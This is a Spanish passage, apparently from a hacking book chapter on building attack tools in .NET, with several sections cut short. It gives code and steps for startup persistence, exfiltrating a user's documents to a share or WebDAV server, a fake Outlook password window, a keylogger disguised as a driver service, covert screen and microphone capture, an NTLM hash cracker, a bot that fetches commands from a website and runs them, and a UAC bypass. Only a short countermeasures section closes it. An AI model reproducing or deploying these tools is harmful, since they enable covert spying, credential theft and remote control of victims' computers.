Desarrollar sus propias herramientas de hacking
Introducción a .NET
Desde 2001, Microsoft ha introducido .NET, un framework que no cesa de evolucionar llegando, en el momento en el que se escribe este libro, a la versión 4.7. .NET cumple varios objetivos para Microsoft. El primero es entregar un conjunto de clases compatibles con todas las versiones de sus sistemas operativos. En efecto, un programa desarrollado en .NET se puede ejecutar tanto en Windows XP como en Windows 8, mientras el framework esté instalado en el equipo. En Windows Vista, .NET 2.0 está integrado. Windows 7 integra las versiones 2 y 3.5, Windows 8, la versión 4.5 y Windows 10, la versión 4.6. La segunda motivación es dar a los desarrolladores clases, funciones y propiedades compatibles entre varios lenguajes. Por defecto, Microsoft propone varios lenguajes, como C++, VB.NET, J# y, el más utilizado, C#. Esto es posible gracias a la compilación llevada a cabo en .NET. En efecto, el compilador transforma el código VB, C#, etc., en MSIL (Microsoft Intermediate Language). Solo se crea el lenguaje máquina en el momento de la ejecución y esta transformación concierne únicamente a las partes del código utilizadas por el programa. Es el JIT (Just In Time compiler) el que se ocupa de esto. Otra ventaja reside en que su programa no necesita en general ninguna DLL, ya que todas las funciones están integradas en el framework y tienen, por lo tanto, poco peso para unas posibilidades casi infinitas.
La siguiente imagen...
Forzar la ejecución de una aplicación
Hacer que un usuario o un administrador ejecute una vez una aplicación trampa es factible. Pero pedir más veces a una misma persona ejecutar una aplicación trampa es arriesgado, ya que la víctima se percatará de que aquí pasa algo. Se arriesga a que le falten excusas. Lo ideal es que su aplicación sea capaz de arrancar remota o automáticamente, lo que provocará su ejecución sin necesidad de intervención por parte del usuario.
El arranque automático de una aplicación puede hacerse con diferentes técnicas. Vamos a analizarlas juntos. Algunas necesitan una configuración con permisos de administradores o de sistema, otras son posibles simplemente con permisos de usuario. La diferencia reside en el dominio de aplicación. Un cambio con los permisos de usuario solo afectará al usuario objetivo, lo que resulta suficiente en la mayoría de los casos para obtener informaciones deseadas.
1. Los medios clásicos
El arranque automático de un programa modificando el sistema operativo con permisos de administradores puede hacerse de manera clásica:
Añadiendo un archivo o un acceso directo en el directorio:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Añadiendo su aplicación a la siguiente clave de registro:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
En un sistema de 64 bits, la siguiente clave también se puede usar:
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
Su configuración debe prepararse como en este ejemplo:...
Filtrar datos en diferencial
Un usuario, aunque posea pocos permisos, tiene definido un rol en la empresa. Ese rol, como contable, vendedor, encargado de relaciones públicas o soporte técnico, da permisos de acceso a archivos, programas y, globalmente, a una cantidad ingente de información. Estas informaciones son interesantes para el que las quiere o las necesita. Para el que las tiene delante de sus narices todos los días no son obligatoriamente pertinentes. En este escenario, vamos a ver cómo robar informaciones que se encuentran en los directorios donde el usuario guarda sus documentos. El directorio podría ser cualquier directorio en el que el usuario posee permisos. Los documentos robados se copiarán en un directorio compartido, un sitio WebDAV o en un sitio SharePoint.
1. Usar una carpeta compartida como destino
Si el equipo del usuario se encuentra en la misma red en la que se lanza el ataque, entonces será muy sencillo recuperar los archivos. Para ello, comparta una carpeta.
Cree un directorio en la carpeta pública llamada users.
C:\Users\Public\users
Haga clic con el botón derecho del ratón, elija Propiedades y acceda a la pestaña Compartir - Uso compartido avanzado....
Comparta la carpeta y otorgue el permiso de Control total a Todo el mundo.
En la pestaña Seguridad, añada el permiso de Modificar al grupo Todo el mundo.
2. Configurar un servidor con WebDAV como destino
Si el equipo no se encuentra en la misma red, algo que puede ocurrir con el portátil de un comercial que viaja mucho, vamos a configurar un servidor web que funcionará como un servidor de archivos. Podremos copiar allí los archivos. Hubiésemos podido utilizar un servidor FTP, pero la salida de este servicio suele bloquearse en los cortafuegos de la empresa.
Para ello, instale IIS en un servidor o en su equipo con los componentes WebDAV, como en este ejemplo con Windows 8.
Una vez instalado, configure la autenticación para que todo el mundo pueda escribir en el directorio. Para crear una nueva regla, abra la consola de gestión de IIS y utilice el menú Agregar regla de creación WebDAV. En el formulario, seleccione Todo el contenido, Todos los usuarios, así como Leer, Origen, Escribir y confirme su elección con el botón Aceptar. En el menú de la derecha, haga clic en Habilitar...
Crear una ventana de autenticación
El usuario de una empresa está acostumbrado a que se le solicite su contraseña varias veces. En ocasiones, introduce una contraseña para visitar ciertos sitios web si la empresa utiliza un proxy, se conecta a Outlook, a Lync, etc.
Vamos a aprovecharnos de esta solicitud casi excesiva para pedir al usuario su contraseña. Le daremos como información su nombre de usuario, lo que le dará confianza para seguir adelante.
1. Principios básicos
Primero, elegimos una aplicación para su modificación. Para monitorearla, miraremos la lista de procesos. En cuanto esta arranque, la pararemos, si se trata de una aplicación de gestión, ya que la ventana de solicitud de credenciales debe ser única. Con programas como Outlook o IE, no necesitamos pararla, sino que debemos esperar a que haya arrancado completamente.
Para monitorear el proceso:
Process[] Procesos = Process.GetProcessesByName("Outlook");
if (Procesos.Length > 0)
Para parar un proceso:
Procesos[0].Kill();
Para recuperar el nombre de usuario y el dominio actual:
Environment.UserName;
Environment.UserDomainName;
La modificación de la ventana de solicitud se realizará con Paint, hasta obtener una imagen exenta de informaciones personales.
2. Crear el programa para Outlook
Para este programa, le aconsejamos insistentemente que utilice Visual Studio. Usaremos una captura de pantalla de la petición de autenticación para reproducirla lo mejor posible. Será, por lo tanto, más sencillo gestionar la parte gráfica con Visual Studio que con el Bloc de notas. Le recordamos que existe una versión «express», gratuita y descargable en el sitio web de Microsoft.
Modifique las propiedades de la siguiente forma para crear una ventana de login de Outlook.
FormBorderStyle = None
Text = Outlook
BackgroundImage = ruta de la imagen de la ventana de login
Para no tener que rehacer cada botón y cada elemento, usaremos un Panel para cada zona donde se pueda hacer clic.
Coloque un Panel por encima de la captura de pantalla, en el emplazamiento de un botón, por ejemplo, el botón OK. Después, modifique las propiedades así:
Name = ButOk
BackgroundColor = Transparent
En los lugares donde aparece texto, como el nombre del dominio y el de usuario...
Crear un keylogger
Existen numerosos keyloggers. La mayoría de ellos usan un sistema muy conocido, el método SetWindowsHookEx, que permite almacenar las teclas pulsadas. Sin embargo, es también lo primero que miran los sistemas de seguridad para impedir la captura del teclado.
Encontrará más información sobre el método SetWindowsHookEx en el sitio web de Microsoft, en la siguiente dirección: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx
Vamos a usar una técnica diferente para ser más discretos. Nuestro programa irá pidiendo regularmente las teclas en vez de suscribirse a los eventos de teclado. El código que presentamos gestiona la tecla pulsada pero no si esta se escribe en mayúsculas, es decir si [Alt] o [Mayús] son pulsadas al mismo tiempo.
1. Principios básicos
Para esconder un poco más la aplicación en el administrador de tareas, vamos a darle un nombre con sus propiedades. Esto se hace por medio de las propiedades de la aplicación.
El nombre dado se parece al de un servicio de driver.
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
Usaremos en .NET User32.dll, que nos permitirá buscar las informaciones tecleadas con toda discreción. La función DllImport va a permitirnos cargar...
Capturar la pantalla
Hemos visto cómo capturar las teclas pulsadas por el usuario. Pero ¿qué pasa en el equipo de la víctima? Usted va a poder añadir la función de captura de pantalla del equipo objetivo.
1. Principios básicos
Para capturar la pantalla, usaremos una función muy sencilla que se debe poner en marcha. Piense en encontrar un desencadenador interesante, como teclas pulsadas o un programa ejecutado; si no, el espacio usado para las capturas de pantalla aumentará rápidamente.
El código principal de este programa en el siguiente:
g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0),
sc.Bounds.Size);
Se completa con la gestión de todas las pantallas presentes, gracias al vector siguiente:
Screen[] pantallas = Screen.AllScreens;
2. Crear la aplicación
Este código permite la captura de pantalla y el envío de un archivo de imagen. El siguiente código gestiona varias pantallas.
Cree un archivo de texto que se llame Captura.txt y añada el siguiente có-digo:
using System;
using System.Collections.Generic;
using System.Text;
using System.Drawing.Imaging;
using System.Drawing;
using System.Windows.Forms;
using System.Threading;
namespace PrintScreen
{
class Program
{ ...
Grabar el sonido
Hemos cubierto la captura del teclado, la de la pantalla, pero ¿qué ocurre a su alrededor? Para averiguarlo grabaremos el sonido del micrófono. Todos los dispositivos móviles disponen de uno y, si el equipo objetivo utiliza Lync, Skype u otro software de comunicación, dispondrá también de micrófono.
1. Principios básicos
Para grabar el sonido, existen multitud de funciones en .NET, pero necesitan generalmente de la instalación de un SDK. Preferimos presentarle un código que se compila en todos los tipos de equipos sin ningún añadido. Para ello, usaremos la DLL Winm.dll.
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet =
CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern int mciSendString(string
lpstrCommand, string lpstrReturnString, int uReturnLength,
int hwndCallback);
[DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")]
public static extern void GetWaveVolume(IntPtr
devicehandle, out int Volume);
Esta DLL es muy sencilla de utilizar para grabar el sonido.
Para grabar el sonido:
mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);
mciSendString("record recsound", "", 0, 0);
Para enviar lo capturado a un archivo y cerrarlo:
mciSendString("save recsound miarchivo.wav", "", 0, 0);
mciSendString("close recsound "...
Romper una contraseña
En un registro algo diferente de lo que acabamos de ver, crearemos una aplicación capaz de romper las contraseñas cifradas de Windows. Hemos visto en el capítulo Extraer, romper, cambiar una contraseña que la extracción podía realizarse con herramientas como SamDump.
Una vez que tenemos en nuestra posesión el archivo de texto con las contraseñas cifradas, debemos romperlas. Hemos visto, siempre en el capítulo dedicado a la temática de romper las contraseñas, que estas no son cifradas, sino resumidas con MD4, siendo estas últimas codificadas en Unicode. Para averiguar una contraseña a partir de hash, debemos comparar una contraseña probable resumida con la que se encuentra en el archivo.
1. Principios básicos
Para ello, utilizaremos una biblioteca de .NET que gestiona MD4, esta es gratuita y descargable en Internet. .NET no permite por defecto usar MD4. Microsoft anima a los desarrolladores a utilizar MD5 o algoritmos de hashes más seguros. Con un objetivo educativo, compararemos contraseñas de tipo numérico que tengan entre 0 y 7 caracteres.
Descargue la biblioteca MD4 en el enlace siguiente: http://www.superstarcoders.com/blogs/posts/md4-hash-algorithm-in-c-sharp.aspx
Para comparar nuestra eventual contraseña con la del archivo, transformaremos esta última en Unicode.
byte[] hashunicode = Encoding.Unicode.GetBytes(pass);
Vamos a resumirlo con el algoritmo MD4.
byte[] hash = ComputeMD4(hashunicode);
Después transformaremos el resultado en hexadecimal para compararlo con la contraseña proveniente de la extracción.
string txtmd4 = "";
foreach (byte b in hash)
{
txtmd4 += b.ToString("X");
}
Usaremos una función que solo se encuentra a partir del framework 4. Esta última permite hacer bucles usando el paralelismo, y por lo tanto resolver las comparaciones de la contraseña a mayor velocidad.
Parallel.For(0, 9999999, i => {
2. Crear la aplicación
Una vez descargada la librería, copie el archivo en un directorio. Después cree un nuevo archivo de texto crack.txt con el siguiente...
Gobernar un equipo remoto
Cuando ejecuta una aplicación trampa para un usuario, está tomando riesgos. Este usuario podría optar por no ejecutar cada archivo que le envía. Debe encontrar primero la manera de que ejecute sus comandos sin que ejecute varias aplicaciones trampa. Vamos a crear una aplicación robot que buscará asiduamente en un sitio web los comandos que debe ejecutar.
1. Principios básicos
Vamos a utilizar un objeto WebClient para abrir el archivo sin descargarlo.
WebClient paginaWeb = new WebClient();
Stream flujo = paginaWeb.OpenRead(ruta);
StreamReader contenido = new StreamReader(flujo);
La primera línea es el comando, la segunda representa los parámetros y la tercera indica si la aplicación debe ser visible o no para el usuario.
string command, param = "";
bool EsVisible = false;
command = contenido.ReadLine();
try{ param = contenido.ReadLine(); } catch { }
try { EsVisible = bool.Parse(contenido.ReadLine()); } catch { }
El archivo de comandos es un simple archivo de texto, subido en un sitio web con una dirección fija y siempre con el mismo nombre. La variable Contenido es la página web que se lee. Se puede leer una página más compleja, como un blog o un foro, y buscar allí comandos que se van a ejecutar. Basta con analizar el texto de esta variable.
El texto que genera...
Esquivar la seguridad de la UAC
Desde Windows Vista, la UAC protege a los usuarios que tienen permisos de administrador en su equipo. En cuanto una aplicación o un comando se ejecuta, tiene por defecto privilegios de usuario aunque el usuario sea administrador de su equipo. El hecho de pedir al usuario ejecutar una aplicación con privilegios elevados resulta muy sospechoso. Vamos a desarrollar una aplicación capaz de instalarse con solo permisos de usuario y que se ejecutará con privilegios de administrador. Deberemos crear para eso un ejecutable capaz de arrancar otra aplicación con los parámetros de consent.exe (consent.exe es la aplicación de sistema que usa la UAC). Deberá parecerse a un programa conocido para que el usuario no le preste atención. Ocultaremos, por lo tanto, nuestro programa en Explorer.exe. Firmaremos el programa y así será reconocido como de confianza gracias a la instalación del certificado raíz en el equipo de la víctima.
1. Principios básicos
Empecemos por el programa. La parte importante del código es la siguiente. El resto del código se parece a los ejemplos anteriormente propuestos:
try
{
String Command = Environment.CommandLine;
String[] arguments = Command.Split('=');
String ProcessArgs = "";
Process p = new Process();
p.StartInfo.FileName = arguments[1];
if (arguments[2].Length > 2)
p.StartInfo.Arguments = arguments[2];
...
Cambiar el código PIN BitLocker con permisos de usuario
Desde Windows Vista, Microsoft permite cifrar el disco duro completo de un equipo con BitLocker. La clave de cifrado está almacenada en un chip TPM o en una memoria USB. Los datos no se pueden modificar offline. Pero todavía es posible arrancar el sistema y atacar los servicios expuestos. Para paliar esto, Microsoft permite añadir un código PIN que no se guarda en el equipo. El usuario puede definirlo y sin este código el sistema no arranca. En apariencia, es un buen sistema, pero hace falta que el usuario sea administrador para poder cambiarlo, lo que para nosotros es una pena. Crearemos una aplicación que, una vez instalada, permitirá a un usuario sin privilegios de administrador cambiar el código PIN de BitLocker.
1. Principios básicos
Vamos a crear un servicio de Windows que se ejecutará con permisos de sistema y se encargará de cambiar el PIN en lugar del usuario. Además, haremos una aplicación donde el usuario podrá introducir el código PIN y será enviado al servicio.
Para crear un servicio, nuestra clase debe heredar de ServiceBase.
public partial class Servicio1 : ServiceBase
Los métodos principales obligatorios llamados por el sistema son Start y Stop:
protected override void OnStart(string[] args)
{
}
protected override void OnStop()
{
}
Para la comunicación entre el servicio y la aplicación de usuario, utilizaremos los Named Pipes, lo que significa que comunicaremos los dos procesos usando la memoria del sistema: un medio simple, rápido y eficaz.
Encontrará más información sobre los Named Pipes en el sitio web de Microsoft: http://msdn.microsoft.com/en-us/library/bb546085.aspx
El servicio debe escuchar y esperar que se le envíe un nuevo código PIN.
NamedPipeServerStream Escucha = new
NamedPipeServerStream("\\\\.\\pipe\\PinSetting",
System.IO.Pipes.PipeDirection.InOut,2);
StreamReader lector = new StreamReader(Escucha);
while(true)
{
Escucha.WaitForConnection();
...
Contramedidas
Una aplicación keylogger, de captura de pantalla, etc., compilada por un usuario no suele ser detectada por un antivirus. Debe impedir a los usuarios que compilen sus propios códigos; para esto, bloquee los compiladores presentes en los frameworks instalados en los equipos clientes creando una restricción de software de estas herramientas. El Framework .NET integra un compilador C#, un compilador VB y a veces un compilador J#. Asegúrese de que todos estos compiladores estén bloqueados para los usuarios finales, es decir: que debe bloquear los archivos csc.exe, vbc.exe y jsc.exe. Acuérdese también de bloquear PowerShell, ya que es posible para un usuario utilizar objetos .NET dentro de PowerShell. Esto daría a sus scripts las mismas capacidades que una aplicación compilada.
Puede asimismo prohibir la modificación de las claves del registro con una directiva de grupo. Preste atención a las claves de usuarios que permiten añadir una clase de archivo, arrancar una aplicación y a todas las claves que podrían comprometer sus sistemas.